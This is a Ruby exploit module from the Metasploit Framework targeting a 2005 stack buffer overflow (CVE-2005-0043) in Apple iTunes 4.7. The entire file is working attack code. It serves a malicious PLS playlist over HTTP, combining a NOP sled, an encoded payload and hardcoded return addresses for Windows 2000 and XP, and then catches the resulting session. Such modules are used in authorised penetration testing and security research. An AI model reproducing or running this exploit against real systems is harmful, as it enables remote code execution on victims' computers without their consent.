## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Apple ITunes 4.7 Playlist Buffer Overflow', 'Description' => %q{ This module exploits a stack overflow in Apple ITunes 4.7 build 4.7.0.42. By creating a URL link to a malicious PLS file, a remote attacker could overflow a buffer and execute arbitrary code. When using this module, be sure to set the URIPATH with an extension of '.pls'. }, 'License' => MSF_LICENSE, 'Author' => 'MC', 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2005-0043' ], [ 'OSVDB', '12833' ], [ 'BID', '12238' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 500, 'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 Pro English SP4', { 'Ret' => 0x75033083 } ], [ 'Windows XP Pro English SP2', { 'Ret' => 0x77dc2063 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Jan 11 2005', 'DefaultTarget' => 0)) end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) cruft = rand(9).to_s sploit = make_nops(2545) + payload.encoded + [target.ret].pack('V') # Build the HTML content content = "[playlist]\r\n" + "NumberOfEntries=#{cruft}\r\n" content << "File#{cruft}=http://#{sploit}" print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content, { 'Content-Type' => 'text/html' }) # Handle the payload handler(cli) end end